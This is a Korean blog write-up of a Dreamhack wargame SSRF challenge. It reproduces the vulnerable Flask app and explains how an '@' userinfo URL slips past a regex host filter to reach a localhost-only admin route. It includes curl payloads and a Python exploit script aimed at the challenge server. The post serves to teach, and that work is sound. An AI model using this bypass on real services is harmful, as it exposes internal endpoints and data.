문제 제목만 보았을 때 ssrf 문제인가...? 라는 생각부터 들긴 했다.
https://dreamhack.io/wargame/challenges/1412
Broken Is SSRF possible?
?? : 퍼벙-(ssrf 터지는 소리)
dreamhack.io
소스 코드 분석 후 취약 사이트로 접속해 보자.
app.py
from flask import Flask, request, jsonify
import re
import ipaddress
import socket
import time
import hashlib
import requests
app = Flask(__name__)
flag = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"
def sha256_hash(text):
text_bytes = text.encode('utf-8')
sha256 = hashlib.sha256()
sha256.update(text_bytes)
hash_hex = sha256.hexdigest()
return hash_hex
isSafe = False
def check_ssrf(url,checked):
global isSafe
# if "@" in url or "#" in url:
# isSafe = False
# return "Fail"
if checked > 3:
print("3번을 초과하여 redirection되는 URL은 금지됩니다.")
isSafe = False
return "Fail"
protocol = re.match(r'^[^:]+', url)
if protocol is None:
isSafe = False
print("프로토콜이 감지되지 않았습니다.")
return "Fail"
print("Protocol :",protocol.group())
if protocol.group() == "http" or protocol.group() == "https":
host = re.search(r'(?<=//)[^/]+', url)
print(host.group())
if host is None:
isSafe = False
print("호스트가 감지되지 않았습니다.")
return "Fail"
host = host.group()
if ":" in host:
host = host.split(":")
host = host[0]
print("Host :",host)
try:
ip_address = socket.gethostbyname(host)
except:
print("호스트가 올바르지 않습니다.")
isSafe = False
return "Fail"
for _ in range(60):
print("IP를 검증 중입니다..", _)
ip_address = socket.gethostbyname(host)
if ipaddress.ip_address(ip_address).is_private:
print("내부망 IP가 감지되었습니다. ")
isSafe = False
return "Fail"
time.sleep(1) # 1초 대기
print("리다이렉션을 확인합니다 : ",url)
try:
response = requests.get(url,allow_redirects=False)
if 300 <= response.status_code and response.status_code <= 309:
redirect_url = response.headers['location']
print("리다이렉션이 감지되었습니다.",redirect_url)
if len(redirect_url) >= 120:
isSafe = False
return "fail"
check_ssrf(redirect_url,checked + 1)
except:
print("URL 요청에 실패했습니다.")
isSafe = False
return "Fail"
if isSafe == True:
print("URL 등록에 성공했습니다.")
return "SUCCESS"
else:
return "Fail"
else:
print("URL이 HTTP / HTTPS로 시작하는 지 확인하세요.")
isSafe = False
return "Fail"
@app.route('/check-url', methods=['POST'])
def check_url():
global isSafe
data = request.get_json()
if 'url' not in data:
return jsonify({'error': 'No URL provided'}), 400
url = data['url']
host = re.search(r'(?<=//)[^/]+', url)
print(host.group())
if host is None:
print("호스트가 감지되지 않았습니다.")
return "Fail"
host = host.group()
if ":" in host:
host = host.split(":")
host = host[0]
if host != "www.google.com":
isSafe = False
return "Host는 반드시 www.google.com이어야 합니다."
isSafe = True
result = check_ssrf(url,1)
if result != "SUCCESS" or isSafe != True:
return "SSRF를 일으킬 수 있는 URL입니다."
try:
response = requests.get(url)
status_code = response.status_code
return jsonify({'url': url, 'status_code': status_code})
except requests.exceptions.RequestException as e:
return jsonify({'error': 'Request Failed.'}), 500
@app.route('/admin',methods=['GET'])
def admin():
global flag
user_ip = request.remote_addr
if user_ip != "127.0.0.1":
return "only localhost."
if request.args.get('nickname'):
nickname = request.args.get('nickname')
flag = sha256_hash(nickname)
return "success."
@app.route("/flag",methods=['POST'])
def clear():
global flag
if flag == sha256_hash(request.args.get('nickname')):
return "DH{REDACTED}"
else:
return "you can't bypass SSRF-FILTER zzlol 😛"
if __name__ == '__main__':
print("Hash : ",sha256_hash("당신의 창의적인 공격 아이디어를 보여주세요!"))
app.run(debug=False,host='0.0.0.0',port=80)
간단하게 핵심 함수들만 분석해보자.
※ check_ssrf 함수
url이 http / https 프로토콜 사용하는지 검사
ip 주소가 프라이빗한지 체크
3번까지 리디렉션을 허용함
호스트가 정확히 http://www.google.com인지 확인
호스트의 ip 주소를 최대 60초동안 반복적으로 확인
● ssrf bypass idea?
http://www.google.com이 허용된 도메인 -> 여기에 open redirect가 포함될 경우 -> 프라이빗 ip or localhost로 리디렉트시킴
dns 리바인딩? -> 허용 ip / 나중에는 127.0.0.1 아이피로 확인되는 우회
/admin
127.0.0.1 에서만 접근 가능함
127.0.0.1 localhost에서 전달받은 nickname 파라미터를 저장, 나중에 /flag에서 검증할때 사
/flag
nickname의 sha-256 해시된 값과 플래그 값 비교
해시 값 일치할 경우 -> 플래그 반환
Exploit idea
ssrf를 통한 /admin 접근
-> ssrf를 이용, http://127.0.0.1/admin을 타겟으로 하는 url 생성
-> nickname 파라미터 설정
-> nickname을 test1234로 설정함
nickname을 sha-256 해시화
계산된 해시값을 기반으로 /flag 에 요청을 보내서 플래그 획득
페이로드는 이거:
{
"url": "http://www.google.com@127.0.0.1/admin?nickname=test1234"
}
curl로 요청을 보내서 어떤 우회가 먹히는지 확인해보자.
curl -X POST "http://host3.dreamhack.games:20329/check-url" \
-H "Content-Type: application/json" \
-d '{"url": "http://www.google.com@127.0.0.1/admin?nickname=test1234"}'
만약 위의 curl 요청이 잘 먹혔다면? -> nickname = test1234를 sha-256 해시화함
실패해서 다른걸로 시도ㄱㄱ
처음에는 url 리디렉션을 염두에 두고 넣은 코드(리디렉션 3번 허용)로 리디렉션을 따로 쿼리에 설정해 주었는데
"url": "http://www.google.com/redirect?target=http://127.0.0.1/admin?nickname=test1234"
이런 식으로
그런데 실패
@를 이용해서 ip주소로 우회하는건 맞는데 -> www.google.com:80 했을 때 된 이유를 모르겠다.....
www.google.com:80
추측 상, https의 포트는 443이고, http의 포트는 80이라서 http인 google.com 호스트와 연결하기 위해선 80번 포트를 따로 지정해줘야 하는게 아닐까 하고 생각이 들긴 한다. 정확한건 모르겠다. 공부 다시해봐야할듯
※ 포트와 프로토콜의 불일치
기본적으로 443 포트로 패킷을 보내게 될 텐데, http 프로토콜로 곧장 보내버린다면 사용 포트와 프로토콜의 불일치로 인해 빠꾸먹어버린다고 한다.
curl -X POST "http://host3.dreamhack.games:20329/check-url" \
-H "Content-Type: application/json" \
-d '{"url": "http://www.google.com:80@127.0.0.1/admin?nickname=test1234"}'
status가 200이 떴다. 즉 우회에 성공한 것
만약 요청이 성공하였다면, 아래와 같이
curl -X POST "http://host3.dreamhack.games:23092/flag?nickname=test1234"
curl로 요청을 보내면 nickname=test1234를 해시화한 후 비교한 다음에 플래그를 출력하게 된다.
@는 url에서 인증정보 / 호스트를 구분하는데 쓰인다.
위에서 http://www.google.com:80 을 호스트로 지정한 것은 맞지만, @를 쓰게 되면 그 뒤의 주소로 호스트 재지정이 일어나게 된다.
검증 로직의 문제
- 서버는 url을 단순히 문자열로 처리하며 정규식으로 호스트를 추출
- 정규식은 userinfo 부분과 host를 구분하지 못하고 전체를 호스트로 인식
- 실제 네트워크 요청은 userinfo를 제외한 host를 사용하므로 검증과 요청 간 불일치 발생
만약 http://username@host/path라는 url이 있다고 가정해보자
- 검증
- http://username@host/path에서 @ 재지정으로 인해 username은 네트워크 요청 시 무시됨
- 따라서 host만 실제로 호스트로 인식됨
- 정규식 검증의 문제
- 그러나 정규식은 userinfo@host 전체를 호스트로 검출하게됨
- 실제 네트워크 요청은 userinfo를 무시하고 host만 사용
- 우회
- 검증: 결과적으론 username을 포함하므로 통과.
- 요청: 127.0.0.1로 호스트 인식
웹 페이지에 들어가면 이렇게 not found가 뜰텐데 당황하지 말자. / 경로에 대한 설정이 안되어있어서 그렇다.
curl / python request 패키지를 사용해서 해당 웹 서버로 요청을 보내는 방식으로 풀어나가면 된다.
Exploit code
import requests
import hashlib
base_url = "http://host3.dreamhack.games:20329"
nickname = "test1234"
# ssrf를 이용해 /admin 요청
ssrf_payload = {
"url": f"http://www.google.com:80@127.0.0.1/admin?nickname={nickname}"
}
response = requests.post(f"{base_url}/check-url", json=ssrf_payload)
if response.status_code == 200:
print("success")
else:
print("failed ", response.text)
exit()
# sha 256 해시화
hashed_flag = hashlib.sha256(nickname.encode()).hexdigest() # 문자열을 웹 서버로 보냄 -> 우선 url encoding 후, 해시화
print(f"{hashed_flag}")
# /flag 요청보내기
flag_response = requests.post(f"{base_url}/flag", params={"nickname": nickname})
if "DH{" in flag_response.text:
print(f"{flag_response.text}")
else:
print("failed", flag_response.text)
실행시켜보면 다음과 같다.
파이썬 버전 -> 3.12

변경한 닉네임(test1234)의 해시값과 플래그가 출력됨
sleep(1)로 인해 조금 느리게 플래그가 출력되는 것을 확인
'보안 > Web hacking' 카테고리의 다른 글
[Dreamhack] Baby - ai (0) | 2024.12.18 |
---|---|
[Dreamhack] TODO List 0.0.1 (1) | 2024.11.29 |
[Dreamhack] youth-Case (0) | 2024.11.22 |
[Dreamhack] Secure Secret (1) | 2024.11.14 |
[Dreamhack] Where-is-localhost (0) | 2024.11.11 |